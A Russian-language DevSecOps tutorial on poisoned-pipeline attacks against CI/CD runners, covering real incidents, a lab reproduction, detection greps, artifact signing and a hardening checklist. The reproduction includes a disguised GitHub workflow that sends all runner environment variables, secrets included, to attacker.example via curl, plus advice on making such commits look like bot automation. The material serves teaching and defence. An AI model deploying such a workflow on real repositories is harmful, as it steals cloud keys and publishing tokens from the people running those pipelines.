Перейти к содержимому

Уязвимости CI/CD раннера: воспроизводим отравление артефакта и ловим атаку до релиза

Уязвимости CI/CD раннера: воспроизводим отравление артефакта и ловим атаку до релиза
Время чтения: 11 мин.

Представь: за пару часов кто-то пушит вредоносные коммиты в тысячи репозиториев на GitHub. Ни одного эксплойта платформы — только YAML-файлы workflow (инструкции для CI/CD-раннера, сервера, который выполняет задачи сборки). Раннеры послушно запускают чужой код с доступом ко всем секретам окружения. На выходе — npm-пакет, собранный из отравленного репозитория, который расходится к downstream-потребителям без компрометации npm-аккаунта. Это не фантазия — это механика реальных кампаний типа «Megalodon». Ниже разберу этот вектор, воспроизведу его в тестовой среде шаг за шагом и покажу, что именно на каждом этапе должен ловить DevSecOps до релиза.

Supply chain атака на CI/CD: зачем атакующему раннер

CI/CD-пайплайн (конвейер непрерывной интеграции и доставки кода) — привилегированная инфраструктура. Типичный workflow развёртывания одновременно имеет доступ к AWS-ключам, токенам npm-публикации, паролям Docker Hub и GitHub-токену с правами записи. Если проводить аналогию: npm install на локальной машине — неприятно, но npm install на сервере с ключами от production-базы и облака — как оставить серверную незапертой. Отравленный артефакт сборки — троянский конь внутри того самого npm install, только на стероидах.

В терминах MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1195 — её стандартные идентификаторы) атака на пайплайн задействует сразу несколько техник:

  • Supply Chain Compromise (T1195, Initial Access) — внедрение вредоносного кода через цепочку поставок ПО
  • Unsecured Credentials (T1552, Credential Access) — сбор секретов, доступных раннеру: API-ключей, токенов, паролей из CI-переменных
  • Command and Scripting Interpreter (T1059, Execution) — выполнение произвольных команд в shell раннера
  • Indicator Removal: Timestomp (T1070.006, Defense Evasion) — подделка дат коммитов, чтобы вредоносный код выглядел «старым и доверенным»

Монетизация прямолинейна: украденные AWS-ключи перепродаются или используются для криптомайнинга, npm-токены позволяют публиковать вредоносные пакеты от имени жертвы. По данным Elastic Security Labs, npm-червь Shai-Hulud работал именно так: собирал GitHub Personal Access Tokens через gh auth token, запускал TruffleHog для разведки секретов и публиковал вредоносный код от имени скомпрометированного разработчика — по некоторым оценкам, десятки тысяч вредоносных пакетов в первой волне.

Атака начинается задолго до модификации workflow. Начальный вектор — часто инфостилеры: вредоносные программы, крадущие пароли и токены с машин разработчиков. Украденные PAT (Personal Access Tokens — долгоживущие токены доступа к GitHub) дают доступ к репозиториям, а дальше — автоматическая инъекция workflow по шаблону. Kill chain из трёх звеньев: кража credential → доступ к репозиторию → отравление пайплайна. Ломать платформу не нужно — хватает одного украденного токена.

По данным Unit 42 (Palo Alto Networks), в ходе red-team упражнений исследователи неоднократно обнаруживали жёстко закодированные IAM-ключи в репозиториях GitLab и получали администраторский доступ к облачным окружениям. При этом лишь малая часть AWS-аккаунтов мониторилась GuardDuty. Типичная картина: пайплайн есть, а мониторинг пайплайна — нет.

Отравление артефактов сборки: три типа Poisoned Pipeline Execution

PPE (Poisoned Pipeline Execution — выполнение «отравленного» пайплайна) — класс атак, в которых злоумышленник модифицирует файлы, влияющие на работу CI/CD. Не одна техника, а три подхода с разной механикой и разной сложностью обнаружения. По классификации OWASP — CICD-SEC-4, один из десяти критических рисков CI/CD-конвейера.

Тип Что меняет атакующий Пример Сложность детекта
D-PPE (Direct) CI-конфиг напрямую Новый шаг в .github/workflows/*.yml Низкая — изменение видно в diff
I-PPE (Indirect) Файлы, на которые ссылается конфиг Makefile, deploy.sh, тестовые скрипты Средняя — workflow не меняется
3PE (Third-party) Внешние зависимости пайплайна GitHub Action по мутабельному тегу @main Высокая — изменение за пределами репозитория

Сценарий типа Megalodon — классический D-PPE: прямое внедрение workflow-файлов с триггерами on: [push, pull_request], чтобы каждое действие в репозитории запускало сбор секретов. Аналогичный паттерн фиксировался в публичных отчётах: массовая инъекция workflow-файлов с эксфильтрацией секретов.

Реальные кейсы: от D-PPE до compromised build pipeline

D-PPE: Teleport (2021). Компания Teleport описала уязвимость в своей CI/CD-инфраструктуре: привилегированные контейнеры, через которые вредоносный pull request мог выйти из sandbox и получить доступ к секретам окружения. Утечки не произошло, но вектор признан рабочим.

I-PPE: AWS (2021). Конфигурация сборки ссылалась на скрипт развёртывания, который можно было модифицировать через pull request. CI-система запускала этот скрипт с привилегиями развёртывания без дополнительной валидации — можно было загрузить произвольный файл в production-окружение. Обрати внимание: сам workflow-файл не менялся. Именно поэтому I-PPE сложнее ловить, чем D-PPE.

3PE: tj-actions/changed-files (март 2025). Атакующие перехватили мутабельные теги версий GitHub Action, затронув тысячи downstream-репозиториев. Год спустя аналогичная атака поразила aquasecurity/trivy-action — популярный сканер безопасности контейнеров. Ирония: инструмент для безопасности сам стал вектором атаки.

Отдельно стоит триггер [pull_request_target](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) в GitHub Actions. В отличие от обычного pull_request, он выполняет workflow в контексте базового репозитория с доступом к секретам, но может запускать код из недоверенного fork’а. Атакующие систематически сканируют публичные репозитории на наличие этой мисконфигурации. Если ты настраиваешь GitHub Actions впервые — запомни: pull_request_target + checkout кода из PR = секреты доступны автору PR.

Эксплуатация CI/CD раннера: пошаговое воспроизведение

Дальше — воспроизведение D-PPE в тестовой среде. Сначала позиция атакующего, затем переключаемся на защитника: что именно в каждом моменте должно было сработать.

Делай раз: готовим тестовое окружение

Предпосылки: GitHub-аккаунт, тестовый репозиторий (не production!), включённые GitHub Actions (Settings → Actions → General → Allow all actions). Для GitLab принцип идентичен — файл .gitlab-ci.yml вместо .github/workflows/*.yml.

Для GitLab Runner (уязвимость GitLab Runner этого класса подробно разобрана исследователями RT-Solar) есть дополнительный момент: если раннер настроен с executor shell, команды выполняются напрямую на хосте — без контейнерной изоляции. Если executor docker, но с флагом --docker-privileged или монтированием /var/run/docker.sock — возможен container escape. Оба варианта описаны в документации GitLab, и оба означают полный доступ к хосту из вредоносного пайплайна.

Делай два: внедряем payload в workflow

Минимальный вредоносный workflow (паттерн адаптирован из описания D-PPE от Cloudsmith и типовых атак на CI/CD):

name: SysDiag
on: [push, pull_request]
jobs:
  diag:
    runs-on: ubuntu-latest
    steps:
      - run: |
          printenv | base64 -w0 | \
            curl -s -X POST -d @- https://attacker.example/collect

Что происходит построчно: printenv выводит все переменные окружения раннера (включая secrets — API-ключи, пароли и токены из CI-переменных), base64 -w0 кодирует вывод в одну строку (Base64 — кодирование данных в текстовый формат, здесь используется для маскировки бинарных данных), curl -s -X POST тихо отправляет результат на сервер атакующего.

Маскировка бывает изощрённой: автор коммита — build-bot или ci-bot, email — вида build-system@noreply.dev, сообщения коммитов — «ci: add build optimization step», «chore: optimize pipeline runtime». Выглядит как стандартная CI-автоматизация и не вызывает подозрений при беглом code review. В реальных инцидентах подобные email-адреса обнаруживались в телеметрии инфостилеров — подтверждение цепочки «кража credential → инъекция workflow».

Ожидаемый результат (тестовая среда): если в тестовом репозитории нет реальных секретов, printenv покажет стандартные переменные GitHub Actions — GITHUB_TOKEN, GITHUB_REPOSITORY, RUNNER_OS. В production-среде тут окажутся AWS-ключи, npm-токены и всё, что настроено в Settings → Secrets. Нюанс: GitHub Actions маскирует известные secrets в логах раннера (log redaction), поэтому во вкладке Actions секреты отображаются как ***. Но redaction работает только на уровне логов — сетевую эксфильтрацию через curl оно не блокирует. Поэтому обнаружение строится на diff-анализе workflow-файлов, а не на просмотре логов.

Делай три: проверяем — что поймал пайплайн

Переключаемся на позицию защитника. Открой вкладку Actions и проверь три вещи:

  1. Кто создал workflow? В реальных атаках на CI/CD часто используются throwaway-аккаунты с рандомными именами. Незнакомый аккаунт — красный флаг.
  2. Контекст коммита. Команда git log --format='%H %an <%ae> %aI' покажет автора и дату. Email на @noreply.dev или @automated.dev в сочетании с молодым аккаунтом — подозрительно.
  3. Содержимое workflow. Любой шаг с curl, wget, base64, обращением к printenv или env, POST-запросами к внешним хостам — требует ручного review.

Именно отсутствие этих проверок позволяет атакам типа Megalodon работать часами. Тысячи репозиториев не имеют branch protection на .github/workflows/, дают broad write permissions внешним контрибьюторам и хранят production-секреты в over-privileged runner environments — уязвимость GitHub Actions runner, которую можно закрыть одной настройкой.

Безопасность пайплайна DevSecOps: детектирование и проверка артефактов перед релизом

Сигналы в diff-анализе workflow-файлов

Для автоматического обнаружения подозрительных изменений в CI/CD-конфигурациях применяются regex-паттерны (подробно описаны в публикациях Elastic Security Labs). Ключевые категории сигналов:

  • Эксфильтрация: curl.*POST, wget.*--post, base64, printenv, обращения к secrets.
  • Расширение привилегий: добавление permissions: write-all или id-token: write
  • Targeting раннера: переключение на self-hosted runners, указание нестандартного container image
  • Мутабельные ссылки: @main, @master, @latest вместо привязки к SHA-хешу конкретного коммита
  • Timestomp (T1070.006): подделка дат, чтобы вредоносный файл выглядел «старым»

Простейшая проверка на локальной машине:

# Поиск подозрительных паттернов в workflow-файлах
grep -rnE '(curl.*(POST|-d)|base64|printenv|secrets\.)' \
  .github/workflows/ --include='*.yml'

Если grep возвращает строки — это не приговор, но каждое совпадение требует ручного review. Для зрелых команд рекомендуется многоуровневый подход: regex-фильтрация → анализ контекста (возраст аккаунта автора, история контрибуций) → структурированный вердикт с уровнем severity и рекомендациями вида «закрепить actions/setup-node@main на конкретный SHA» вместо абстрактного «проверьте workflow».

SLSA supply chain security и подпись артефактов

Проблема отравленного артефакта напрямую отражена в OWASP A08:2021 — Software and Data Integrity Failures: код и инфраструктура без защиты от нарушения целостности. SLSA (Supply-chain Levels for Software Artifacts — уровни защиты цепочки поставок ПО) задаёт требования к верификации: каждый артефакт (Docker-образ, npm-пакет, бинарник) должен иметь provenance — криптографическое доказательство того, где, когда и из какого кода он собран.

Проверка артефактов перед релизом реализуется через Cosign (часть Sigstore) — подпись и верификация без управления ключами (keyless-режим через OIDC — OpenID Connect, протокол для получения временных токенов):

# Верификация подписи образа (Cosign keyless)
cosign verify \
  --certificate-identity "https://github.com/<YOUR_ORG>/<YOUR_REPO>/.github/workflows/build.yml@refs/heads/main" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
  registry.example.com/my-app:latest

Что проверяется: образ подписан конкретным workflow из конкретного репозитория и ветки. Если образ собран из отравленного fork’а или модифицированного workflow — верификация провалится с ошибкой no matching signatures. OIDC-федерация заменяет хранение статических AWS/GCP/Azure-ключей в CI-переменных на короткоживущие токены: украденный OIDC-токен живёт минуты, а не месяцы, как IAM-ключ.

Защита CI/CD от атак: чеклист из 7 пунктов

  1. SHA-пиннинг всех Actions. Вместо uses: actions/checkout@v4uses: actions/checkout@<полный SHA>. Мутабельные теги — вектор, через который скомпрометированы tj-actions и trivy-action.

  2. Минимальные permissions per job. Явное объявление contents: read, id-token: write только где требуется. Дефолтный permissions: write-all расширяет blast radius на всю организацию.

  3. Branch protection на workflow-каталог. Обязательный code review для изменений .github/workflows/ и .gitlab-ci.yml. В атаках типа Megalodon именно отсутствие этого правила позволяет массовую инъекцию.

  4. Ephemeral runners. Раннер создаётся под задачу и уничтожается после. Для self-hosted — флаг --ephemeral при регистрации. Для GitLab — [runners.docker] с privileged = false.

  5. OIDC вместо статических секретов. Замена долгоживущих ключей на OIDC-федерацию с привязкой к конкретному репозиторию, ветке и environment.

  6. Подпись и верификация артефактов. Cosign/Sigstore для контейнерных образов, SLSA provenance для всех артефактов. Без подписи — артефакт не попадает в production.

  7. Автоматический diff-анализ CI-файлов. Проверка каждого PR, затрагивающего workflow, build-скрипты, Makefile, lockfile. Инструменты: StepSecurity Harden Runner, специализированные детекторы CI/CD-злоупотреблений, собственные grep-правила из раздела выше.

Три контроля из этого списка — SHA-пиннинг, минимальные permissions и OIDC — закрывают самые распространённые пути эксплуатации и ограничивают ценность любых credentials, захваченных со скомпрометированного раннера.

Большинство команд, которые я вижу на проектах, вкладывают серьёзные ресурсы в SAST, DAST и SCA — сканируют код приложения до последней строки. При этом файл .github/workflows/deploy.yml месяцами лежит без единого review, с permissions: write-all и мутабельными тегами на actions. Пайплайн не воспринимается как поверхность атаки — он «инфраструктурный клей», который «просто работает». Инциденты с tj-actions/changed-files и Shai-Hulud показывают масштаб этого слепого пятна: тысячи затронутых репозиториев, ноль эксплойтов платформы, только YAML и человеческая небрежность.

Ещё одна неприятная деталь: половина проектов, где я проверял CI/CD-безопасность, хранила production-секреты в GitHub Secrets без привязки к environment. Любой workflow в репозитории получает доступ ко всем секретам — без одобрения, без ограничения по ветке. Environment-уровень секретов с обязательным approval существует давно, но включают его единицы.

Supply chain атаки на CI/CD будут дешеветь. Инфостилеры уже автоматизируют сбор PAT-токенов, дальше — массовая инъекция workflow по описанному шаблону D-PPE. Платформы начнут требовать обязательный review для workflow-файлов как дефолтную политику, но произойдёт это после очередного крупного инцидента, а не до. Выигрывает тот, кто внедрил чеклист до того, как пришлось разбирать инцидент. Если переходишь из IT в ИБ и нужна структура вместо хаотичного самообучения — на IB Basics показывают не теорию, а как джуны реально решают рабочие задачи.

Эту тему и смежные навыки разбирают на практике в курсе «Профессия DevSecOps-инженер» Codeby Academy.